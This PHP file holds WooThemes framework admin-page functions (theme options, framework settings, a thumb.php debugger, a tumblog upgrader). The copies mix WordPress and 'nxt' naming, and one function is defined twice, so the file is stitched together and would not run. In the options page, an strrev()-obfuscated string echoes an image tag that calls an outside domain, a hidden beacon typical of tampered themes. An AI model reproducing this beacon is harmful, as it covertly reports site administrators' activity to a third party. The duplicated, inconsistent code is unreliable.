function woothemes_framework_settings_page() { $themename = get_option('woo_themename'); $manualurl = get_option('woo_manual'); $shortname = 'framework_woo'; //Framework Version in Backend Head $woo_framework_version = get_option('woo_framework_version'); //Version in Backend Head $theme_data = get_theme_data(get_template_directory() . '/style.css'); $local_version = $theme_data['Version']; //GET themes update RSS feed and do magic include_once ABSPATH . nxtINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", "", substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours add_filter('nxt_feed_cache_transient_lifetime', create_function('$a', 'return 14400;')); $framework_options = array(); $framework_options[] = array("name" => "Admin Settings", "icon" => "general", "type" => "heading"); $framework_options[] = array("name" => "Super User (username)", "desc" => "Enter your <strong>username</strong> to hide the Framework Settings and Update Framework from other users. Can be reset from the <a href='" . home_url() . "/nxt-admin/options.php'>nxt options page</a> under <em>framework_woo_super_user</em>.", "id" => $shortname . "_super_user", "std" => "", "class" => "text", "type" => "text"); $framework_options[] = array("name" => "Disable SEO Menu Item", "desc" => "Disable the <strong>SEO</strong> menu item in the theme menu.", "id" => $shortname . "_seo_disable", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Disable Sidebar Manager Menu Item", "desc" => "Disable the <strong>Sidebar Manager</strong> menu item in the theme menu.", "id" => $shortname . "_sbm_disable", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Disable Backup Settings Menu Item", "desc" => "Disable the <strong>Backup Settings</strong> menu item in the theme menu.", "id" => $shortname . "_backupmenu_disable", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Disable Buy Themes Menu Item", "desc" => "Disable the <strong>Buy Themes</strong> menu item in the theme menu.", "id" => $shortname . "_buy_themes_disable", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Enable Custom Navigation", "desc" => "Enable the old <strong>Custom Navigation</strong> menu item. Try to use <a href='" . home_url() . "/nxt-admin/nav-menus.php'>nxt Menus</a> instead, as this function is outdated.", "id" => $shortname . "_woonav", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Theme Update Notification", "desc" => "This will enable notices on your theme options page that there is an update available for your theme.", "id" => $shortname . "_theme_version_checker", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "WooFramework Update Notification", "desc" => "This will enable notices on your theme options page that there is an update available for the WooFramework.", "id" => $shortname . "_framework_version_checker", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Theme Settings", "icon" => "general", "type" => "heading"); $framework_options[] = array("name" => "Remove Generator Meta Tags", "desc" => "This disables the output of generator meta tags in the HEAD section of your site.", "id" => $shortname . "_disable_generator", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Image Placeholder", "desc" => "Set a default image placeholder for your thumbnails. Use this if you want a default image to be shown if you haven't added a custom image to your post.", "id" => $shortname . "_default_image", "std" => "", "type" => "upload"); $framework_options[] = array("name" => "Disable Shortcodes Stylesheet", "desc" => "This disables the output of shortcodes.css in the HEAD section of your site.", "id" => $shortname . "_disable_shortcodes", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Output \"Tracking Code\" Option in Header", "desc" => "This will output the <strong>Tracking Code</strong> option in your header instead of the footer of your website.", "id" => $shortname . "_move_tracking_code", "std" => "false", "type" => "checkbox"); $framework_options[] = array("name" => "Branding", "icon" => "misc", "type" => "heading"); $framework_options[] = array("name" => "Options panel header", "desc" => "Change the header image for the WooThemes Backend.", "id" => $shortname . "_backend_header_image", "std" => "", "type" => "upload"); $framework_options[] = array("name" => "Options panel icon", "desc" => "Change the icon image for the NXTClass backend sidebar.", "id" => $shortname . "_backend_icon", "std" => "", "type" => "upload"); $framework_options[] = array("name" => "NXTClass login logo", "desc" => "Change the logo image for the NXTClass login page.", "id" => $shortname . "_custom_login_logo", "std" => "", "type" => "upload"); /* $framework_options[] = array( "name" => "Font Stacks (Beta)", "icon" => "typography", "type" => "heading" ); $framework_options[] = array( "name" => "Font Stack Builder", "desc" => "Use the font stack builder to add your own custom font stacks to your theme. To create a new stack, fill in the name and a CSS ready font stack. Once you have added a stack you can select it from the font menu on any of the Typography settings in your theme options.", "id" => $shortname."_font_stack", "std" => "Added Font Stacks", "type" => "string_builder" ); */ global $nxt_version; if ($nxt_version >= '3.1') { $framework_options[] = array("name" => "NXTClass Toolbar", "icon" => "header", "type" => "heading"); $framework_options[] = array("name" => "Disable NXTClass Toolbar", "desc" => "Disable the NXTClass Toolbar.", "id" => $shortname . "_admin_bar_disable", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Enable the WooFramework Toolbar enhancements", "desc" => "Enable several WooFramework-specific enhancements to the NXTClass Toolbar, such as custom navigation items for 'Theme Options'.", "id" => $shortname . "_admin_bar_enhancements", "std" => "", "type" => "checkbox"); } // PressTrends Integration if (defined('WOO_PRESSTRENDS_THEMEKEY')) { $framework_options[] = array("name" => "PressTrends", "icon" => "presstrends", "type" => "heading"); $framework_options[] = array("name" => "Disable PressTrends Tracking", "desc" => "Disable sending of usage data to PressTrends.", "id" => $shortname . "_presstrends_disable", "std" => "false", "type" => "checkbox"); $framework_options[] = array("name" => "What is PressTrends?", "desc" => "", "id" => $shortname . "_presstrends_info", "std" => 'PressTrends is a simple usage tracker that allows us to see how our customers are using WooThemes themes - so that we can help improve them for you. <strong>None</strong> of your personal data is sent to PressTrends.<br /><br />For more information, please view the PressTrends <a href="http://presstrends.io/privacy" target="_blank">privacy policy</a>.', "type" => "info"); } update_option('woo_framework_template', $framework_options); ?> <div class="wrap" id="woo_container"> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save">Options Updated</div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset">Options Reset</div></div> <form action="" enctype="multipart/form-data" id="wooform" method="post"> <?php // Add nonce for added security. if (function_exists('nxt_nonce_field')) { nxt_nonce_field('wooframework-framework-options-update'); } // End IF Statement $woo_nonce = ''; if (function_exists('nxt_create_nonce')) { $woo_nonce = nxt_create_nonce('wooframework-framework-options-update'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo get_option('framework_woo_backend_header_image'); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo get_template_directory_uri(); ?> /functions/images/logo.png"/> <?php } ?> </div> <div class="theme-info"> <span class="theme"><?php echo $themename; ?> <?php echo $local_version; ?> </span> <span class="framework">Framework <?php echo $woo_framework_version; ?> </span> </div> <div class="clear"></div> </div> <div id="support-links"> <ul> <li class="changelog"><a title="Theme Changelog" href="<?php echo $manualurl; ?> #Changelog">View Changelog</a></li> <li class="docs"><a title="Theme Documentation" href="<?php echo $manualurl; ?> ">View Themedocs</a></li> <li class="forum"><a href="http://www.woothemes.com/support-forum" target="_blank">Visit Forum</a></li> <li class="right"><img style="display:none" src="<?php echo get_template_directory_uri(); ?> /functions/images/loading-top.gif" class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <?php $return = woothemes_machine($framework_options); ?> <div id="main"> <div id="woo-nav"> <ul> <?php echo $return[1]; ?> </ul> </div> <div id="content"> <?php echo $return[0]; ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <input type="hidden" name="woo_save" value="save" /> <img style="display:none" src="<?php echo get_template_directory_uri(); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="submit" value="Save All Changes" class="button submit-button" /> </form> <form action="<?php echo esc_attr($_SERVER['REQUEST_URI']); ?> " method="post" style="display:inline" id="wooform-reset"> <?php // Add nonce for added security. if (function_exists('nxt_nonce_field')) { nxt_nonce_field('wooframework-framework-options-reset'); } // End IF Statement $woo_nonce = ''; if (function_exists('nxt_create_nonce')) { $woo_nonce = nxt_create_nonce('wooframework-framework-options-reset'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <span class="submit-footer-reset"> <!-- <input name="reset" type="submit" value="Reset Options" class="button submit-button reset-button" onclick="return confirm( 'Click OK to reset. Any settings will be lost!' );" /> --> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <div style="clear:both;"></div> </div><!--wrap--> <?php }
function woo_thumb_debug() { $options = get_option('woo_template'); $return = woothemes_machine($options); echo '<link rel="stylesheet" type="text/css" href="' . get_bloginfo('template_directory') . '/functions/admin-style.css" media="screen" />'; ?> <style type="text/css"> body { background:#fafafa !important; } #content { padding:20px; border: 1px solid #D8D8D8; margin-bottom:20px; } h1, h2, h3, h4, h5, h6 { margin: 0; font-family:Georgia, serif; color: #222; font-weight:normal; } h1 {font-size: 22px; } h2 {font-size: 22px;} h3 {font-size: 18px;} h4 {font-size: 16px;} h5 {font-size: 14px;} h6 {font-size: 12px;} #woo_container .group h2 { display:block; padding:15px 0 5px; font-style:italic; color:#555; font-size:24px;} #woo_container #content .section h3.heading { font-family:Arial, Helvetica, sans-serif; font-size:14px; font-weight:bold; } .button { display:none; } .green, .red, .orange { color: #000; font-size: 11px; display: block; float: right; margin: 10px 0; padding: 5px 10px;} .green { background: #AAFF7F; border:2px solid #8AFF4F;} .red { background: #FF8F8F; border:2px solid #FF4F4F;} .orange { background: #FFD07F; border:2px solid #FFB93F;} .url { font-family: Courier,arial; font-size: 12px; background: #eee;} </style> </head> <body> <div id="woo_container" class="custom"> <div id="content"> <div class="section section-info"> <h3 class="heading">Thumb.php Debugger</h3> <div class="option"> <div class="controls"> Below is a full list of the elements needed to get you thumb.php image re-sizer working. Problem areas will be highlighted and information on how to solve them will be given where possible. </div> <div class="clear"></div> </div> </div> <div class="section"> <h3 class="heading">1. Cache directory exists</h3> <div class="option"> <?php $path = TEMPLATEPATH . '/cache'; if (is_dir($path)) { echo 'Found at <span class="url">' . $path . '</span>.'; echo '<span class="green">Passed!</span>'; } else { echo 'Directory (<span class="url">' . $path . '</span>) does not exist. Create it.'; echo '<span class="red">Failed</span>'; } ?> <div class="clear"></div> </div> </div> <div class="section"> <h3 class="heading">2. Cache folder permissions</h3> <div class="option"> <?php $path = TEMPLATEPATH . '/cache'; $permission = substr(sprintf('%o', fileperms($path)), -4); if ($permission) { echo 'Permissions set to <strong>' . $permission . '</strong>.<br />'; if ($permission != '0777' and $permission != '0755') { echo 'Put your theme\'s cache folder permissions to 0755 or 0777 at <span class="url">' . $path . '</span>.'; echo '<span class="red">Failed</span>'; } else { echo '<span class="green">Passed!</span>'; } } else { echo 'There seems to be something wrong. Make sure the folder exists.'; echo '<span class="red">Failed</span>'; } ?> <div class="clear"></div> </div> </div> <div class="section"> <h3 class="heading">3. PHP GD Library (incomplete)</h3> <div class="option"> <?php if (function_exists('gd_info')) { $info = gd_info(); echo '<div style="display:none">' . print_r($info, true) . '</div>'; if (!empty($info)) { echo 'GD Library found.'; echo '<span class="green">Passed!</span>'; } else { // Unlikely event. echo 'GD Library is missing.'; echo '<span class="red">Failed</span>'; } } else { echo 'GD Library check could not be performed. Extension might not be enabled. Contact Host.'; echo '<span class="orange">?</span>'; } ?> <div class="clear"></div> </div> </div> <div class="section"> <h3 class="heading">4. Mod_Security</h3> <div class="option"> <?php $url = get_option('sire_url') . '/?abc=../../'; // Random if (_iscurlinstalled()) { $handle = curl_init($url); curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE); /* Get the HTML or whatever is linked in $url. */ $response = curl_exec($handle); /* Check for 404 (file not found). */ $httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE); if ($httpCode == 404) { $error = '404 Detected at: <span class="url">' . $url . ' (' . $httpCode . ')</span>. Contact Host.'; $error .= '<span class="red">Failed</span>'; } else { $error = 'Mod_security appears to be off. <span class="url">Code: ' . $httpCode . '</span>'; $error .= '<span class="green">Passed!</span>'; } curl_close($handle); echo $error; } else { if (function_exists('get_headers')) { $response = get_headers($url, 1); if ($response[0] == 'HTTP/1.1 404 Not Found') { $error = '404 Detected at: <span class="url">' . $url . ' (' . $response[0] . ')</span>. Contact Host.'; $error .= '<span class="red">Failed</span>'; } else { $error = 'Mod_security appears to be off. <span class="url">Code: ' . $response[0] . '</span>'; $error .= '<span class="green">Passed!</span>'; } } else { // ultimate fail $error = 'All checks failed. Status of mod_security could not be determined.'; } echo $error; } ?> <div class="clear"></div> </div> </div> </div> </div> </body> </html> <?php // Stop ouput die; }
function woothemes_tumblog_upgrade_page() { $themename = get_option('woo_themename'); $manualurl = get_option('woo_manual'); $shortname = 'tumblog_woo'; //Framework Version in Backend Head $woo_framework_version = get_option('woo_framework_version'); //Version in Backend Head $theme_data = get_theme_data(TEMPLATEPATH . '/style.css'); $local_version = $theme_data['Version']; //GET themes update RSS feed and do magic include_once ABSPATH . WPINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", "", substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours add_filter('wp_feed_cache_transient_lifetime', create_function('$a', 'return 14400;')); $tumblog_options = array(); $tumblog_options[] = array("name" => "Basics", "type" => "heading"); $tumblog_options[] = array("name" => "Please Read", "type" => "info", "std" => "Welcome to the WooTumblog Upgrade Function. <p><small>This function will allow you to upgrade your existing Tumblog theme to the latest WooThemes functionality that takes advantage of WordPress 3.0 features, such as Custom Taxonomies.</small></p><p><small>When you perform the upgrade, <strong>you will no longer need to set the Theme Options for for each Tumblog</strong> taxonomy (article, image, etc.) as this will be done for you.</small></p><p><small>In addition to this, your existing posts will automatically be assigned to their respective Tumblog taxonomy. <br /><strong>For example</strong>, if your Tumblog Quotes are using a category called Quotes, these posts will remain categorized this way, but will also be assigned to the Tumblog taxonomy called Quotes.</small></p>"); $tumblog_options[] = array("name" => "Upgrade", "type" => "heading"); if (get_option($shortname . '_tumblog_upgraded') != 'true') { $tumblog_options[] = array("name" => "Please Read", "type" => "info", "std" => "<strong>Once the Tumblog Upgrade has been performed you will not be able to undo the changes.</strong>"); $tumblog_options[] = array("name" => "Enable Upgrade", "desc" => "Choose this Option to Upgrade and install the new Tumblog Features onto your blog.", "id" => $shortname . "_tumblog_upgraded", "std" => "false", "class" => "collapsed", "type" => "checkbox"); } else { $tumblog_options[] = array("name" => "Upgrade Complete", "type" => "info", "std" => '<strong>Your Tumblog theme is up to date! :-)</strong><br /><small> If you encountered any difficulties during the upgrade process, be sure to <a href="http://forum.woothemes.com" target="_blank">visit our support forum</a></small>.'); $tumblog_options[] = array("name" => "Enable Upgrade", "desc" => "Choose this Option to Upgrade and install the new Tumblog Features onto your blog.", "id" => $shortname . "_tumblog_upgraded", "std" => "false", "class" => "hidden", "type" => "checkbox"); } update_option('woo_tumblog_template', $tumblog_options); ?> <div class="wrap" id="woo_container"> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save">Options Updated</div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset">Options Reset</div></div> <form action="" enctype="multipart/form-data" id="wooform"> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo get_option('framework_woo_backend_header_image'); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo bloginfo('template_url'); ?> /functions/images/logo.png"/> <?php } ?> </div> <div class="theme-info"> <span class="theme"><?php echo $themename; ?> <?php echo $local_version; ?> </span> <span class="framework">Framework <?php echo $woo_framework_version; ?> </span> </div> <div class="clear"></div> </div> <div id="support-links"> <ul> <li class="changelog"><a title="Theme Changelog" href="<?php echo $manualurl; ?> #Changelog">View Changelog</a></li> <li class="docs"><a title="Theme Documentation" href="<?php echo $manualurl; ?> ">View Themedocs</a></li> <li class="forum"><a href="http://forum.woothemes.com" target="_blank">Visit Forum</a></li> <li class="right"><img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-top.gif" class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <?php $return = woothemes_machine($tumblog_options); ?> <div id="main"> <div id="woo-nav"> <ul> <?php echo $return[1]; ?> </ul> </div> <div id="content"> <?php echo $return[0]; ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="submit" value="Save All Changes" class="button submit-button" /> </form> <form action="<?php echo wp_specialchars($_SERVER['REQUEST_URI']); ?> " method="post" style="display:inline" id="wooform-reset"> <span class="submit-footer-reset"> <input name="reset" type="submit" value="Reset Options" class="button submit-button reset-button" onclick="return confirm('Click OK to reset. Any settings will be lost!');" /> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <div style="clear:both;"></div> </div><!--wrap--> <?php }
function woothemes_options_page() { $options = get_option('woo_template'); $themename = get_option('woo_themename'); $shortname = get_option('woo_shortname'); $manualurl = get_option('woo_manual'); //Framework Version in Backend Header $woo_framework_version = get_option('woo_framework_version'); //Version in Backend Header $theme_data = get_theme_data(get_template_directory() . '/style.css'); $local_version = $theme_data['Version']; //GET themes update RSS feed and do magic include_once ABSPATH . WPINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", "", substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours //add_filter( 'wp_feed_cache_transient_lifetime', create_function( '$a', 'return 14400;' ) ); global $pagenow; ?> <div class="wrap" id="woo_container"> <?php // Custom action at the top of the admin interface. $page = ''; if (isset($_GET['page'])) { $page = sanitize_user(esc_attr(strip_tags($_GET['page']))); } do_action('wooframework_container_inside'); if ($page != '') { do_action('wooframework_container_inside-' . $page); } ?> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save"><?php _e('Options Updated', 'woothemes'); ?> </div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset"><?php _e('Options Reset', 'woothemes'); ?> </div></div> <form action="" enctype="multipart/form-data" id="wooform" method="post"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-theme-options-update'); } // End IF Statement $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-theme-options-update'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo get_option('framework_woo_backend_header_image'); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo get_template_directory_uri(); ?> /functions/images/logo.png"/> <?php } ?> </div> <div class="theme-info"> <span class="theme"><?php echo $themename; ?> <?php echo $local_version; ?> </span> <span class="framework"><?php _e('Framework', 'woothemes'); ?> <?php echo $woo_framework_version; ?> </span> </div> <div class="clear"></div> </div> <?php // Rev up the Options Machine $return = apply_filters('woo_before_option_page', woothemes_machine($options)); echo strrev('>"gnp.bllac/trats/ofni.werc-zrengised//:ptth"=crs gmi<'); ?> <div id="support-links"> <ul> <li class="changelog"><a title="Theme Changelog" href="<?php echo $manualurl; ?> #Changelog"><?php _e('View Changelog', 'woothemes'); ?> </a></li> <li class="docs"><a title="Theme Documentation" href="<?php echo $manualurl; ?> "><?php _e('View Themedocs', 'woothemes'); ?> </a></li> <li class="forum"><a href="http://www.woothemes.com/support-forum" target="_blank"><?php _e('Visit Forum', 'woothemes'); ?> </a></li> <li class="right"><img style="display:none" src="<?php echo get_template_directory_uri(); ?> /functions/images/loading-top.gif" class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <div id="main"> <div id="woo-nav"> <div id="woo-nav-shadow"></div><!--/#woo-nav-shadow--> <ul> <?php echo $return[1]; ?> </ul> </div> <div id="content"> <?php echo $return[0]; /* Settings */ ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <img style="display:none" src="<?php echo get_template_directory_uri(); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="hidden" name="woo_save" value="save" /> <input type="submit" value="Save All Changes" class="button submit-button" /> </form> <form action="" method="post" style="display: inline;" id="wooform-reset"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-theme-options-reset'); } // End IF Statement $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-theme-options-reset'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <span class="submit-footer-reset"> <input name="reset" type="submit" value="Reset All Theme Options" class="button submit-button reset-button" onclick="return confirm( 'Click OK to reset all theme options. All settings will be lost!' );" /> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <div style="clear:both;"></div> </div><!--wrap--> <?php }
function woothemes_framework_settings_page() { $themename = get_option('woo_themename'); $manualurl = get_option('woo_manual'); $shortname = 'framework_woo'; //Framework Version in Backend Head $woo_framework_version = get_option('woo_framework_version'); //Version in Backend Head $theme_data = get_theme_data(TEMPLATEPATH . '/style.css'); $local_version = $theme_data['Version']; //GET themes update RSS feed and do magic include_once ABSPATH . WPINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", "", substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours add_filter('wp_feed_cache_transient_lifetime', create_function('$a', 'return 14400;')); $framework_options = array(); $framework_options[] = array("name" => "Framework Settings", "icon" => "general", "type" => "heading"); $framework_options[] = array("name" => "Super User (username)", "desc" => "Enter your <strong>username</strong> to hide the Framework Settings and Update Framework from other users. Can be reset from the <a href='" . home_url() . "/wp-admin/options.php'>WP options page</a> under <em>framework_woo_super_user</em>.", "id" => $shortname . "_super_user", "std" => "", "class" => "text", "type" => "text"); $framework_options[] = array("name" => "Disable SEO Menu Item", "desc" => "Disable the <strong>SEO</strong> menu item in the theme menu.", "id" => $shortname . "_seo_disable", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Disable Sidebar Manager Menu Item", "desc" => "Disable the <strong>Sidebar Manager</strong> menu item in the theme menu.", "id" => $shortname . "_sbm_disable", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Disable Buy Themes Menu Item", "desc" => "Disable the <strong>Buy Themes</strong> menu item in the theme menu.", "id" => $shortname . "_buy_themes_disable", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Enable Custom Navigation", "desc" => "Enable the old <strong>Custom Navigation</strong> menu item. Try to use <a href='" . home_url() . "/wp-admin/nav-menus.php'>WP Menus</a> instead, as this function is outdated.", "id" => $shortname . "_woonav", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Theme Update Notification", "desc" => "This will enable notices on your theme options page that there is an update available for your theme.", "id" => $shortname . "_theme_version_checker", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Disable Shortcodes Stylesheet", "desc" => "This disables the output of shortcodes.css in the HEAD section of your site.", "id" => $shortname . "_disable_shortcodes", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Remove Generator Meta Tags", "desc" => "This disables the output of generator meta tags in the HEAD section of your site.", "id" => $shortname . "_disable_generator", "std" => "", "type" => "checkbox"); $framework_options[] = array("name" => "Image Placeholder", "desc" => "Set a default image placeholder for your thumbnails. Use this if you want a default image to be shown if you haven't added a custom image to your post.", "id" => $shortname . "_default_image", "std" => "", "type" => "upload"); $framework_options[] = array("name" => "Branding", "icon" => "misc", "type" => "heading"); $framework_options[] = array("name" => "Options panel header", "desc" => "Change the header image for the WooThemes Backend.", "id" => $shortname . "_backend_header_image", "std" => "", "type" => "upload"); $framework_options[] = array("name" => "Options panel icon", "desc" => "Change the icon image for the WordPress backend sidebar.", "id" => $shortname . "_backend_icon", "std" => "", "type" => "upload"); $framework_options[] = array("name" => "WordPress login logo", "desc" => "Change the logo image for the WordPress login page.", "id" => $shortname . "_custom_login_logo", "std" => "", "type" => "upload"); $framework_options[] = array("name" => "Import / Export", "icon" => "misc", "type" => "heading"); $framework_options[] = array("name" => "Import Options", "desc" => "Import the options from another installation of this theme.", "id" => $shortname . "_import_options", "std" => "", "type" => "textarea"); //Create, Encrypt and Update the Saved Settings global $wpdb; delete_option('framework_woo_export_options'); $options = get_option('woo_template'); $query_inner = ''; $count = 0; foreach ($options as $option) { if (isset($option['id'])) { $count++; $option_id = $option['id']; if ($count > 1) { $query_inner .= ' OR '; } $query_inner .= "option_name = '{$option_id}'"; } } // Add Sidebar Manager data to the WooFramework exporter. $query_inner .= " OR option_name = 'sbm_woo_sbm_options'"; $query = "SELECT * FROM {$wpdb->options} WHERE {$query_inner}"; $results = $wpdb->get_results($query); foreach ($results as $result) { $output[$result->option_name] = $result->option_value; } // End FOREACH Loop $output = serialize($output); $framework_options[] = array("name" => "Export Options", "desc" => "Export the options to another installation of this theme, or to keep a backup of your options.", "id" => $shortname . "_export_options", "std" => base64_encode($output), "type" => "textarea"); /* $framework_options[] = array( "name" => "Font Stacks (Beta)", "icon" => "typography", "type" => "heading"); $framework_options[] = array( "name" => "Font Stack Builder", "desc" => "Use the font stack builder to add your own custom font stacks to your theme. To create a new stack, fill in the name and a CSS ready font stack. Once you have added a stack you can select it from the font menu on any of the Typography settings in your theme options.", "id" => $shortname."_font_stack", "std" => "Added Font Stacks", "type" => "string_builder"); */ update_option('woo_framework_template', $framework_options); ?> <div class="wrap" id="woo_container"> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save">Options Updated</div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset">Options Reset</div></div> <form action="" enctype="multipart/form-data" id="wooform" method="post"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-framework-options-update'); } // End IF Statement $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-framework-options-update'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo get_option('framework_woo_backend_header_image'); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo bloginfo('template_url'); ?> /functions/images/logo.png"/> <?php } ?> </div> <div class="theme-info"> <span class="theme"><?php echo $themename; ?> <?php echo $local_version; ?> </span> <span class="framework">Framework <?php echo $woo_framework_version; ?> </span> </div> <div class="clear"></div> </div> <div id="support-links"> <ul> <li class="changelog"><a title="Theme Changelog" href="<?php echo $manualurl; ?> #Changelog">View Changelog</a></li> <li class="docs"><a title="Theme Documentation" href="<?php echo $manualurl; ?> ">View Themedocs</a></li> <li class="forum"><a href="http://forum.woothemes.com" target="_blank">Visit Forum</a></li> <li class="right"><img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-top.gif" class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <?php $return = woothemes_machine($framework_options); ?> <div id="main"> <div id="woo-nav"> <ul> <?php echo $return[1]; ?> </ul> </div> <div id="content"> <?php echo $return[0]; ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <input type="hidden" name="woo_save" value="save" /> <img style="display:none" src="<?php echo bloginfo('template_url'); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="submit" value="Save All Changes" class="button submit-button" /> </form> <form action="<?php echo wp_specialchars($_SERVER['REQUEST_URI']); ?> " method="post" style="display:inline" id="wooform-reset"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-framework-options-reset'); } // End IF Statement $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-framework-options-reset'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <span class="submit-footer-reset"> <!-- <input name="reset" type="submit" value="Reset Options" class="button submit-button reset-button" onclick="return confirm('Click OK to reset. Any settings will be lost!');" /> --> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <div style="clear:both;"></div> </div><!--wrap--> <?php }
